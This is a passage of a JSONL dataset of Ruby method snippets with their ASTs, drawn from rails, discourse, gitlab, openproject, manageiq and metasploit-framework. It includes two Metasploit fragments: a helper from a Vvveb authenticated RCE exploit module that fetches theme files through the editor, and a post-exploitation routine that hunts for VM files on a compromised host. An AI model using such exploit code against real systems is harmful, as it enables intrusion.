\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"send_response_html\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"send\",\"children\":[null,\"handler\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]}]}]}","id":"5884ec23-d24a-42e4-ae23-46d3f2789757"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/nested_attributes_test.rb","start_line":989,"raw_source":"def setup\n    Pirate.accepts_nested_attributes_for :parrots, limit: 2\n\n    @pirate = Pirate.create!(catchphrase: \"Don' botharrr talkin' like one, savvy?\")\n  end","complexity_score":3.3,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pirate\"]},\"accepts_nested_attributes_for\",{\"type\":\"sym\",\"children\":[\"parrots\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@pirate\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pirate\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"catchphrase\"]},{\"type\":\"str\",\"children\":[\"Don' botharrr talkin' like one, savvy?\"]}]}]}]}]}]}]}","id":"16b069eb-0903-4cfc-9b97-45ea5d639e87"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/authentication_mixin.rb","start_line":305,"raw_source":"def authentication_check_attributes(types, method_options)\n    role = authentication_check_role if respond_to?(:authentication_check_role)\n    zone = my_zone if respond_to?(:my_zone)\n\n    # FIXME: Via schedule, a message is created with args = [], so all authentications will be checked,\n    # while an authentication change will create a message with args [:default] or whatever\n    # authentication is changed, so you can end up with two messages for the same ci\n    options = {\n      :class_name  => self.class.base_class.name,\n      :instance_id => id,\n      :method_name => 'authentication_check_types',\n      :args        => [Array.wrap(types), method_options],\n      :deliver_on  => authentication_check_retry_deliver_on(method_options[:attempt])\n    }\n\n    options[:role] = role if role\n    options[:zone] = zone if zone\n    options\n  end","complexity_score":21.4,"ast_json":"{\"type\":\"def\",\"children\":[\"authentication_check_attributes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"types\"]},{\"type\":\"arg\",\"children\":[\"method_options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to?\",{\"type\":\"sym\",\"children\":[\"authentication_check_role\"]}]},{\"type\":\"lvasgn\",\"children\":[\"role\",{\"type\":\"send\",\"children\":[null,\"authentication_check_role\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to?\",{\"type\":\"sym\",\"children\":[\"my_zone\"]}]},{\"type\":\"lvasgn\",\"children\":[\"zone\",{\"type\":\"send\",\"children\":[null,\"my_zone\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"base_class\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"instance_id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method_name\"]},{\"type\":\"str\",\"children\":[\"authentication_check_types\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"args\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"wrap\",{\"type\":\"lvar\",\"children\":[\"types\"]}]},{\"type\":\"lvar\",\"children\":[\"method_options\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"deliver_on\"]},{\"type\":\"send\",\"children\":[null,\"authentication_check_retry_deliver_on\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"attempt\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"role\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"role\"]},{\"type\":\"lvar\",\"children\":[\"role\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"zone\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"zone\"]},{\"type\":\"lvar\",\"children\":[\"zone\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}","id":"8718b734-015b-49a0-a7ad-807bc2a7926c"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/translation/base_translator.rb","start_line":71,"raw_source":"def self.preferred_llm_model(persona_klass)\n        model_id = persona_klass.default_llm_id || SiteSetting.ai_default_llm_model\n\n        if model_id.present?\n          LlmModel.find_by(id: model_id)\n        else\n          LlmModel.last\n        end\n      end","complexity_score":8.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"preferred_llm_model\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"persona_klass\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"model_id\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"persona_klass\"]},\"default_llm_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"ai_default_llm_model\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_id\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LlmModel\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"model_id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LlmModel\"]},\"last\"]}]}]}]}","id":"12d21719-ec98-40f6-8858-efd3c781a964"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/vvveb_auth_rce_cve_2025_8518.rb","start_line":151,"raw_source":"def get_theme_content(theme_path)\n    res = send_request_cgi(\n      'uri' => normalize_uri(target_uri.path, 'index.php'),\n      'method' => 'GET',\n      'vars_get' => {\n        'module' => 'editor/code',\n        'action' => 'loadFile',\n        'type' => 'themes',\n        'file' => theme_path\n      }\n    )\n    fail_with(Failure::Unreachable, \"#{peer} - No response from web service\") unless res\n    fail_with(Failure::UnexpectedReply, \"#{peer} - Unexpected HTTP code #{res.code}\") unless res.code == 200\n\n    res.body\n  end","complexity_score":17.8,"ast_json":"{\"type\":\"def\",\"children\":[\"get_theme_content\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"theme_path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"index.php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"module\"]},{\"type\":\"str\",\"children\":[\"editor/code\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"loadFile\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"themes\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"file\"]},{\"type\":\"lvar\",\"children\":[\"theme_path\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unreachable\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - No response from web service\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Unexpected HTTP code \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]}]}]}","id":"e0c07f1b-fcf2-4ffb-82a4-f223da87a864"}
{"repo_name":"rails","file_path":"./repos/rails/actionmailer/test/caching_test.rb","start_line":72,"raw_source":"def test_expire_fragment_with_regexp\n    @store.write(\"views/name\", \"value\")\n    @store.write(\"views/another_name\", \"another_value\")\n    @store.write(\"views/primalgrasp\", \"will not expire ;-)\")\n\n    @mailer.expire_fragment(/name/)\n\n    assert_nil @store.read(\"views/name\")\n    assert_nil @store.read(\"views/another_name\")\n    assert_equal \"will not expire ;-)\", @store.read(\"views/primalgrasp\")\n  end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_expire_fragment_with_regexp\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@store\"]},\"write\",{\"type\":\"str\",\"children\":[\"views/name\"]},{\"type\":\"str\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@store\"]},\"write\",{\"type\":\"str\",\"children\":[\"views/another_name\"]},{\"type\":\"str\",\"children\":[\"another_value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@store\"]},\"write\",{\"type\":\"str\",\"children\":[\"views/primalgrasp\"]},{\"type\":\"str\",\"children\":[\"will not expire ;-)\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mailer\"]},\"expire_fragment\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@store\"]},\"read\",{\"type\":\"str\",\"children\":[\"views/name\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@store\"]},\"read\",{\"type\":\"str\",\"children\":[\"views/another_name\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"will not expire ;-)\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@store\"]},\"read\",{\"type\":\"str\",\"children\":[\"views/primalgrasp\"]}]}]}]}]}","id":"cfe5f730-a7d5-46c8-9a71-fa461e1f9bff"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/tooling/graphql/docs/helper.rb","start_line":306,"raw_source":"def doc_reference(object, owner)\n          field = schema_field(owner, object[:name]) if owner\n          return unless field\n\n          ref = field.try(:doc_reference)\n          return if ref.blank?\n\n          parts = ref.to_a.map do |(title, url)|\n            \"[#{title.strip}](#{url.strip})\"\n          end\n\n          \"See #{parts.join(', ')}.\"\n        end","complexity_score":20.2,"ast_json":"{\"type\":\"def\",\"children\":[\"doc_reference\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]},{\"type\":\"arg\",\"children\":[\"owner\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"owner\"]},{\"type\":\"lvasgn\",\"children\":[\"field\",{\"type\":\"send\",\"children\":[null,\"schema_field\",{\"type\":\"lvar\",\"children\":[\"owner\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"ref\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"try\",{\"type\":\"sym\",\"children\":[\"doc_reference\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"parts\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},\"to_a\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"arg\",\"children\":[\"title\"]},{\"type\":\"arg\",\"children\":[\"url\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"title\"]},\"strip\"]}]},{\"type\":\"str\",\"children\":[\"](\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"strip\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"See \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]}]}","id":"b467e038-ddcc-469a-ab76-13ec2f867ae3"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/lib/chat/messages_exporter.rb","start_line":39,"raw_source":"def export(from, to)\n      Chat::Channel.unscoped do\n        Chat::Message\n          .unscoped\n          .where(created_at: from..to)\n          .includes(:chat_channel)\n          .includes(:user)\n          .includes(:last_editor)\n          .find_each do |chat_message|\n            yield(\n              [\n                chat_message.id,\n                chat_message.chat_channel&.id,\n                chat_message.chat_channel&.name,\n                chat_message.user&.id,\n                chat_message.user&.username,\n                chat_message.message,\n                chat_message.cooked,\n                chat_message.created_at,\n                chat_message.updated_at,\n                chat_message.deleted_at,\n                chat_message.in_reply_to&.id,\n                chat_message.last_editor&.id,\n                chat_message.last_editor&.username,\n              ]\n            )\n          end\n      end\n    end","complexity_score":40.0,"ast_json":"{\"type\":\"def\",\"children\":[\"export\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"from\"]},{\"type\":\"arg\",\"children\":[\"to\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"Channel\"]},\"unscoped\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"Message\"]},\"unscoped\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"irange\",\"children\":[{\"type\":\"lvar\",\"children\":[\"from\"]},{\"type\":\"lvar\",\"children\":[\"to\"]}]}]}]}]},\"includes\",{\"type\":\"sym\",\"children\":[\"chat_channel\"]}]},\"includes\",{\"type\":\"sym\",\"children\":[\"user\"]}]},\"includes\",{\"type\":\"sym\",\"children\":[\"last_editor\"]}]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"chat_message\"]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chat_message\"]},\"id\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chat_message\"]},\"chat_channel\"]},\"id\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chat_message\"]},\"chat_channel\"]},\"name\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chat_message\"]},\"user\"]},\"id\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chat_message\"]},\"user\"]},\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chat_message\"]},\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chat_message\"]},\"cooked\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chat_message\"]},\"created_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chat_message\"]},\"updated_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chat_message\"]},\"deleted_at\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chat_message\"]},\"in_reply_to\"]},\"id\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chat_message\"]},\"last_editor\"]},\"id\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chat_message\"]},\"last_editor\"]},\"username\"]}]}]}]}]}]}","id":"df123b7e-e4e5-4d30-92b2-d2efdc564a63"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/contracts/user_preferences/params_contract.rb","start_line":83,"raw_source":"def date_alerts_set?\n      (NotificationSetting.date_alert_settings & notifications.flat_map(&:keys)).any?\n    end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"date_alerts_set?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NotificationSetting\"]},\"date_alert_settings\"]},\"&\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"notifications\"]},\"flat_map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"keys\"]}]}]}]}]},\"any?\"]}]}","id":"65de3186-0714-49f5-b48e-d8aa4eaabba1"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/test_fixtures_test.rb","start_line":106,"raw_source":"def test_transactional_tests_per_db_explicitly_enabled\n      tmp_dir = Dir.mktmpdir\n      File.write(File.join(tmp_dir, \"zines.yml\"), <<~YML)\n      going_out:\n        title: Hello\n      YML\n\n      klass = Class.new(Minitest::Test) do\n        include ActiveRecord::TestFixtures\n\n        self.fixture_paths = [tmp_dir]\n        self.use_transactional_tests = false\n        self.use_transactional_tests_for_database :primary\n\n        fixtures :all\n\n        def test_run_successfully\n          assert_equal(\"Hello\", Zine.first.title)\n          assert_equal(\"Hello\", zines(:going_out).title)\n          # Change the data in the primary connection\n          Zine.first.update!(title: \"Goodbye\")\n        end\n      end\n\n      test_result = klass.new(\"test_run_successfully\").run\n      assert_predicate(test_result, :passed?)\n      # Ensure that the primary connection WAS rolled back\n      assert_equal(\"Hello\", Zine.first.title)\n    ensure\n      FileUtils.rm_r(tmp_dir)\n    end","complexity_score":25.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_transactional_tests_per_db_explicitly_enabled\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tmp_dir\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"mktmpdir\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"write\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"tmp_dir\"]},{\"type\":\"str\",\"children\":[\"zines.yml\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"going_out:\\n\"]},{\"type\":\"str\",\"children\":[\"  title: Hello\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"klass\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Minitest\"]},\"Test\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"TestFixtures\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"fixture_paths=\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tmp_dir\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"use_transactional_tests=\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"use_transactional_tests_for_database\",{\"type\":\"sym\",\"children\":[\"primary\"]}]},{\"type\":\"send\",\"children\":[null,\"fixtures\",{\"type\":\"sym\",\"children\":[\"all\"]}]},{\"type\":\"def\",\"children\":[\"test_run_successfully\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Hello\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Zine\"]},\"first\"]},\"title\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Hello\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"zines\",{\"type\":\"sym\",\"children\":[\"going_out\"]}]},\"title\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Zine\"]},\"first\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"Goodbye\"]}]}]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"test_result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"new\",{\"type\":\"str\",\"children\":[\"test_run_successfully\"]}]},\"run\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"test_result\"]},{\"type\":\"sym\",\"children\":[\"passed?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Hello\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Zine\"]},\"first\"]},\"title\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"rm_r\",{\"type\":\"lvar\",\"children\":[\"tmp_dir\"]}]}]}]}","id":"06682f3d-9bf3-4787-80df-d7e4e26518ba"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/users_controller.rb","start_line":2130,"raw_source":"def honeypot_or_challenge_fails?(params)\n    return false if is_api?\n    params[:password_confirmation] != honeypot_value ||\n      params[:challenge] != challenge_value.try(:reverse)\n  end","complexity_score":11.9,"ast_json":"{\"type\":\"def\",\"children\":[\"honeypot_or_challenge_fails?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_api?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"password_confirmation\"]}]},\"!=\",{\"type\":\"send\",\"children\":[null,\"honeypot_value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"challenge\"]}]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"challenge_value\"]},\"try\",{\"type\":\"sym\",\"children\":[\"reverse\"]}]}]}]}]}]}","id":"4286fa5b-88ab-4a8f-a467-408d7fc5a019"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/multi/gather/find_vmx.rb","start_line":43,"raw_source":"def run\n    if session_has_search_ext\n      vms = meterp_search\n    elsif session.platform =~ /unix|linux|bsd|osx/\n      vms = nix_shell_search\n    end\n    report_vms(vms) if vms\n  end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session_has_search_ext\"]},{\"type\":\"lvasgn\",\"children\":[\"vms\",{\"type\":\"send\",\"children\":[null,\"meterp_search\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"platform\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"unix|linux|bsd|osx\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"vms\",{\"type\":\"send\",\"children\":[null,\"nix_shell_search\"]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vms\"]},{\"type\":\"send\",\"children\":[null,\"report_vms\",{\"type\":\"lvar\",\"children\":[\"vms\"]}]},null]}]}]}","id":"85fd5e60-36c1-4246-8cd7-0f43df1446e1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/environments_controller.rb","start_line":97,"raw_source":"def create\n    @environment = project.environments.create(environment_params)\n\n    if @environment.persisted?\n      render json: { environment: @environment, path: project_environment_path(project, @environment) }\n    else\n      render json: { message: @environment.errors.full_messages }, status: :bad_request\n    end\n  end","complexity_score":15.6,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@environment\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"environments\"]},\"create\",{\"type\":\"send\",\"children\":[null,\"environment_params\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@environment\"]},\"persisted?\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"environment\"]},{\"type\":\"ivar\",\"children\":[\"@environment\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"c